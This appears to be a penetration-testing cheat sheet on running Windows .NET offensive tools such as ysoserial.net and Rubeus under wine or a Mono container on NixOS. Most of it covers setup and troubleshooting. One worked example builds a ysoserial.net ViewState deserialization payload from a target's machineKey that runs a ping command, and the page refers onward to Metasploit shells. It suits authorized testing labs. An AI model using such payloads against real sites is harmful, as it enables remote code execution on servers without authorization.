Windows .NET Tooling on wine (NixOS)
A lot of offensive tooling ships as a Windows-only .NET Framework executable: ysoserial.net, and precompiled builds of Rubeus, SharpHound, Seatbelt, Certify and so on. When your attack box is Linux you have three honest options, in order of reliability: (1) a throwaway Windows VM, (2) a Mono container, (3) wine. This sheet covers the two Linux routes and the NixOS specifics that trip people up.
Rule of thumb: generators that only emit a payload string (like
ysoserial.net) run fine under wine/Mono because the output is bound to the target, not the build host. Tools that must talk to a live Windows/AD service (Rubeus asking a KDC for tickets) are far happier on a real Windows runtime — use a VM or run them on the target.
1. Get the files, keep them quarantined
Downloaded binaries are untrusted. Put each in its own directory, verify the release hash against the project page, and never run an interpreter or build tool from inside that directory.
mkdir -p ~/tools/ysoserial && cd ~/tools/ysoserial
curl -sLO https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1.36.zip
unzip ysoserial-1.36.zip
2. Route A — wine via nix shell (no install, no root)
nix shell drops wine into one shell without touching your system config. Use a Wow package: many of these binaries are 32-bit (file ysoserial.exe → PE32 executable … Intel 80386), and a 64-bit-only wine rejects them with Bad EXE format.
Take wineWow64Packages, not wineWowPackages — nixpkgs deprecated the latter as “no longer preferred by upstream” and it now warns on every evaluation. The new-WoW64 build is a single 64-bit wine that runs 32-bit PEs without a multilib build beside it. The old multilib package still exists if a 32-bit binary misbehaves in a way that looks like a WoW64 bug rather than a missing Framework API.
nix shell nixpkgs#wineWow64Packages.stable # drops you into a subshell with wine on PATH
# isolate the prefix so each tool/engagement is disposable
export WINEPREFIX=~/.wine-offsec
export WINEDEBUG=-all # silence the firehose of fixme: logs
wineboot --init # first run only; slow, let it finish
wine ~/tools/ysoserial/ysoserial.exe --help
nix shell starts an interactive subshell, so everything after it runs inside that shell and exit gives you your prompt back. For a one-shot or a script, use -c instead so there is no subshell to leave:
nix shell nixpkgs#wineWow64Packages.stable -c wine ~/tools/ysoserial/ysoserial.exe --help
If --help prints, you are done. To throw the prefix away and start clean:
rm -rf ~/.wine-offsec
Persisting wine on NixOS (optional)
To keep wine permanently rather than per-shell, add it in configuration.nix:
environment.systemPackages = with pkgs; [ wineWow64Packages.stable winetricks ];
sudo nixos-rebuild switch
3. Route B — Mono container (reproducible, disposable)
Closest thing to a real .NET runtime without a Windows box. NixOS caveat: you cannot start a Docker daemon from a nix shell — the daemon is a system service, so this route needs a configuration.nix change and a rebuild, not just a shell.
# pick one
virtualisation.docker.enable = true;
users.users.<you>.extraGroups = [ "docker" ];
# -- or, usually the better fit on NixOS: daemonless, rootless --
virtualisation.podman.enable = true;
virtualisation.podman.dockerCompat = true;
sudo nixos-rebuild switch # then log out/in for the group to apply
cd ~/tools/ysoserial
podman run --rm -it -v "$PWD":/ys:ro -w /ys mono:latest \
mono ysoserial.exe --help
Mount the tool read-only (:ro) and let the container be --rm disposable. The container has no network by default unless you add --network host, which you rarely want for a pure payload generator.
4. Worked example — ysoserial.net ViewState
Same invocation on every runtime; only the launcher (wine / mono / native) changes. The four crypto values come from the target’s web.config machineKey.
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--path="/portfolio/default.aspx" \
--decryptionalg="AES" --decryptionkey="<decryption-key-hex>" \
--validationalg="SHA1" --validationkey="<validation-key-hex>" \
-c "ping 10.10.14.6"
Full flag reference, framework-mode gotchas and the double-URL-encoding trap live on the ysoserial.net sheet.
5. Troubleshooting
| Symptom | Cause / fix |
|---|---|
wine: Bad EXE format for ...exe | 32-bit binary on 64-bit-only wine. Use wineWow64Packages.stable. |
.NET stack trace naming mscorlib / assembly load failure | Gadget or code path hits Framework internals wine lacks. Try another gadget, or switch to the Mono container / a Windows VM. |
wineboot appears to hang | First prefix build is genuinely slow. Let it finish once; set WINEDEBUG=-all to quiet logs. |
Endless fixme: noise | Cosmetic. export WINEDEBUG=-all. |
Cannot connect to the Docker daemon | On NixOS the daemon is off by default — enable it in configuration.nix and rebuild; a nix shell cannot start it. |
permission denied on the docker socket | Add your user to the docker group and re-login, or use rootless Podman. |
| Tool runs but network calls fail (Rubeus, etc.) | wine/Mono networking to live AD is unreliable. Run these on a Windows VM or on the target, not on the Linux box. |
See Also
- ysoserial.net — the ViewState/deserialization flags in full
- File Transfers — getting the generated payloads and tools onto the target
- Metasploit —
multi/handlerandmigratefor the shell that often follows